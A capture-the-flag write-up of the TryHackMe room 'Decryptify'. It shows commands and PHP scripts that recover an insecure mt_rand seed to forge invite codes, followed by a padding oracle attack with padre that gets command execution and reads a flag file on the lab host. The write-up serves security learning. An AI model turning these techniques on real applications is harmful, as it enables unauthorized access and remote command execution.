Post

TryHackMe: Decryptify

TryHackMe: Decryptify

Decryptify started with deobfuscating a JavaScript file to reveal a hardcoded password, which we used to access a code snippet responsible for generating invite codes. After that, by fuzzing the web application, we discovered a log file containing an invite code and a couple of email addresses. Combining this with the insecure randomness vulnerability in the invite code generation logic allowed us to forge our own invite code and access the dashboard to capture the first flag.

After that, by using a padding oracle attack, we were able to execute commands on the target system to capture the last flag and complete the room.

Tryhackme Room Link

Initial Enumeration

Nmap Scan

We start with an nmap scan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.225.140
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 5f:00:31:fc:33:87:c2:70:92:ec:41:32:18:b4:d6:ca (RSA)
|   256 0b:68:85:e6:84:ab:29:80:f5:33:90:8b:c4:de:c1:f6 (ECDSA)
|_  256 56:20:1c:2f:32:12:e6:f4:ae:75:e4:53:86:9a:f0:59 (ED25519)
1337/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Login - Decryptify
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There are two open ports:

  • 22 (SSH)
  • 1337 (HTTP)

Web 1337

Checking http://10.10.225.140:1337/, we are greeted with a login page that also provides an option to log in using an invite code.

Web 1337 Index

Additionally, clicking the API Documentation link at the bottom of the page redirects us to http://10.10.225.140:1337/api.php, where a password is required.

Web 1337 API

First Flag

Accessing API Documentation

Checking the source code of http://10.10.225.140:1337/index.php, we find an interesting script, /js/api.js, being included.

Web 1337 Index Source Code

Examining the script, we see that it is obfuscated.

Web 1337 Api Js

Running webcrack to deobfuscate it reveals that the script simply sets the c variable to H7gY2tJ9wQzD4rS1.

1
2
3
4
$ wget -q http://10.10.225.140:1337/js/api.js

$ webcrack api.js
const c = "H7gY2tJ9wQzD4rS1";

Testing H7gY2tJ9wQzD4rS1 as the password for the /api.php endpoint, we find that it works, granting access to a code snippet that demonstrates how invite codes are generated for users.

Web 1337 Api Two

Analyzing the code, we see that it uses the user’s email address and the constant_value parameter with the calculate_seed_value function to generate a seed. This seed is then used to initialize the mt_rand function, and the invite code is simply the first value returned by mt_rand, base64 encoded.

1
2
3
4
5
6
7
8
9
10
11
12
// Token generation example
function calculate_seed_value($email, $constant_value) {
    $email_length = strlen($email);
    $email_hex = hexdec(substr($email, 0, 8));
    $seed_value = hexdec($email_length + $constant_value + $email_hex);

    return $seed_value;
}
$seed_value = calculate_seed_value($email, $constant_value);
mt_srand($seed_value);
$random = mt_rand();
$invite_code = base64_encode($random);

Thus, if we can obtain an email address and determine the value of the constant_value variable, we should be able to generate valid invite codes, log in as any user, and access the dashboard.

Discovering the Log File

At this point, we have neither the email address nor the constant_value. However, by fuzzing the web application for directories, we discover an interesting directory at /logs/.

1
2
3
$ ffuf -u 'http://10.10.225.140:1337/FUZZ' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -mc all -t 100 -ic -fc 404
...
logs                    [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 122ms]

Checking http://10.10.225.140:1337/logs/, we find that indexing is enabled, and there is a single file named app.log.

Web 1337 Logs

Downloading the app.log file, we find that an invite code, MTM0ODMzNzEyMg==, was generated for the email address alpha@fake.thm, and there is also another email address: hello@fake.thm.

1
2
3
4
5
6
7
8
9
10
11
12
$ wget -q http://10.10.225.140:1337/logs/app.log

$ cat app.log
2025-01-23 14:32:56 - User POST to /index.php (Login attempt)
2025-01-23 14:33:01 - User POST to /index.php (Login attempt)
2025-01-23 14:33:05 - User GET /index.php (Login page access)
2025-01-23 14:33:15 - User POST to /index.php (Login attempt)
2025-01-23 14:34:20 - User POST to /index.php (Invite created, code: MTM0ODMzNzEyMg== for alpha@fake.thm)
2025-01-23 14:35:25 - User GET /index.php (Login page access)
2025-01-23 14:36:30 - User POST to /dashboard.php (User alpha@fake.thm deactivated)
2025-01-23 14:37:35 - User GET /login.php (Page not found)
2025-01-23 14:38:40 - User POST to /dashboard.php (New user created: hello@fake.thm)

Finding the Seed

Trying to use the invite code we discovered in the logs to log in as the alpha@fake.thm user, we receive the error: The user alpha@fake.thm has been deactivated. It seems the account was indeed deactivated, as indicated in the logs.

Web 1337 Login

However, from the code snippet, we know that the invite code is simply the first value generated by the mt_rand function after being seeded. This is crucial because it allows us to use a tool like php_mt_seed to discover all possible seed values that could have generated this value.

First, decoding the invite code from base64, we obtain the value generated by mt_rand, which is 1348337122

1
2
$ echo MTM0ODMzNzEyMg== | base64 -d
1348337122

Next, we download and build the php_mt_seed program.

1
2
3
4
$ wget -q https://www.openwall.com/php_mt_seed/php_mt_seed-4.0.tar.gz
$ tar -xzf php_mt_seed-4.0.tar.gz
$ cd php_mt_seed-4.0
$ make

Finally, running the php_mt_seed program with the value of the invite code, we obtain all possible seed values.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ ./php_mt_seed 1348337122
Pattern: EXACT
Version: 3.0.7 to 5.2.0
Found 0, trying 0xfc000000 - 0xffffffff, speed 755.0 Mseeds/s
Version: 5.2.1+
Found 0, trying 0x00000000 - 0x01ffffff, speed 0.0 Mseeds/s
seed = 0x00143783 = 1324931 (PHP 7.1.0+)
Found 1, trying 0x18000000 - 0x19ffffff, speed 6.2 Mseeds/s
seed = 0x198ad677 = 428529271 (PHP 7.1.0+)
Found 2, trying 0x2a000000 - 0x2bffffff, speed 6.0 Mseeds/s
seed = 0x2addc25a = 719176282 (PHP 7.1.0+)
Found 3, trying 0x36000000 - 0x37ffffff, speed 6.2 Mseeds/s
seed = 0x37aaaa7b = 933931643 (PHP 5.2.1 to 7.0.x; HHVM)
Found 4, trying 0x58000000 - 0x59ffffff, speed 6.3 Mseeds/s
seed = 0x590030a0 = 1493184672 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0x590030a0 = 1493184672 (PHP 7.1.0+)
Found 6, trying 0x66000000 - 0x67ffffff, speed 6.2 Mseeds/s
seed = 0x66c05097 = 1723879575 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0x66c05097 = 1723879575 (PHP 7.1.0+)
Found 8, trying 0x84000000 - 0x85ffffff, speed 6.1 Mseeds/s
seed = 0x850b0811 = 2232092689 (PHP 7.1.0+)
Found 9, trying 0xfe000000 - 0xffffffff, speed 6.3 Mseeds/s
Found 9

Calculating the Invite Code

Since the seed value is the sum of values derived from the email address and the constant_value, and now that we have the possible seed values and the email, we can calculate the constant_value using a PHP script:

1
2
3
4
5
6
7
8
9
10
11
<?php
$email = "alpha@fake.thm";
$seed_value = 1324931;

$email_length = strlen($email);
$email_hex = hexdec(substr($email, 0, 8));
$sum_value = dechex($seed_value);

$constant_value = $sum_value - ($email_length + $email_hex);
echo "The constant value is: " . $constant_value;
?>

Testing all the seed values to discover all possible constant_value values, it seems that the seed value for alpha@fake.thm was 1324931 and the constant_value is 99999.

1
2
$ php constant.php
The constant value is: 99999

With the knowledge of the constant_value, we can use the same method from the code snippet to generate an invite code for the other email (hello@fake.thm) discovered in the log file, as shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
function calculate_seed_value($email, $constant_value) {
    $email_length = strlen($email);
    $email_hex = hexdec(substr($email, 0, 8));
    $seed_value = hexdec($email_length + $constant_value + $email_hex);

    return $seed_value;
}

$email = "hello@fake.thm";
$constant_value = 99999;

$seed_value = calculate_seed_value($email, $constant_value);
mt_srand($seed_value);
$random = mt_rand();
$invite_code = base64_encode($random);
echo "The invite code for " . $email . " is: " . $invite_code;
?>

Running the script, we generate the invite code for the hello@fake.thm email address as NDYxNTg5ODkx.

1
2
$ php invite.php
The invite code for hello@fake.thm is: NDYxNTg5ODkx

Using the invite code we generated, we attempt to log in at http://10.10.225.140:1337/index.php.

Web 1337 Login Two

As we can see, it works, and we are greeted with the first flag on http://10.10.225.140:1337/dashboard.php.

Web 1337 Dashboard

Second Flag

Apart from the flag, we also see another email address on the dashboard for the admin@fake.thm user. Unfortunately, trying to generate an invite code for this email address and attempting to log in with it proves unsuccessful.

However, checking the source code for the dashboard page reveals an interesting form.

Web 1337 Dashboard Source Code

Padding Oracle Attack

Testing the date parameter with its default value in the source code does not yield anything of interest.

Web 1337 Dashboard Padding

However, modifying the date parameter results in an intriguing error message indicating a padding error.

Web 1337 Dashboard Padding Two

Since the application returns an error message for incorrect padding, we can exploit this to perform a padding oracle attack using the padre tool.

First, we use the padding oracle to decrypt the default value for the date parameter and discover that it corresponds to the date +%Y command, which seems to be how the application prints the current year in the footer.

1
2
3
4
5
6
7
$ ./padre -u 'http://10.10.225.140:1337/dashboard.php?date=$' -cookie 'PHPSESSID=bmsj2b5btlphctiundj21o4ggl' 'ET7bSJfUSDJmUAl8O4smqP91XxJSk0qgj2FnpulyU3c='
[i] padre is on duty
[i] using concurrency (http connections): 30
[+] successfully detected padding oracle
[+] detected block length: 8
[!] mode: decrypt
[1/1] date +%Y\x08\x08\x08\x08\x08\x08\x08\x08\x08\x08\x08\x08\x08\x08\x08\x08                  [24/24] | reqs: 2981 (37/sec)

Now, we can also use the padding oracle to encrypt data instead of decrypting. Since our goal is to read the flag located at /home/ubuntu/flag.txt, we can encrypt the command cat /home/ubuntu/flag.txt as follows, which results in 8ToOYHlh0PuGepheR0TEN66XK6YqUx4yZQWGJFft495lbmJyaWVhcw==.

1
2
3
4
5
6
7
$ ./padre -u 'http://10.10.225.140:1337/dashboard.php?date=$' -cookie 'PHPSESSID=bmsj2b5btlphctiundj21o4ggl' -enc 'cat /home/ubuntu/flag.txt'
[i] padre is on duty
[i] using concurrency (http connections): 30
[+] successfully detected padding oracle
[+] detected block length: 8
[!] mode: encrypt
[1/1] 8ToOYHlh0PuGepheR0TEN66XK6YqUx4yZQWGJFft495lbmJyaWVhcw==                                  [40/40] | reqs: 4509 (53/sec)

Finally, setting the date parameter to 8ToOYHlh0PuGepheR0TEN66XK6YqUx4yZQWGJFft495lbmJyaWVhcw== by making a request to http://10.10.225.140:1337/dashboard.php?date=8ToOYHlh0PuGepheR0TEN66XK6YqUx4yZQWGJFft495lbmJyaWVhcw==, we see that our encrypted command is executed, and the second flag is displayed in the footer.

Web 1337 Dashboard Flag

This post is licensed under CC BY 4.0 by the author.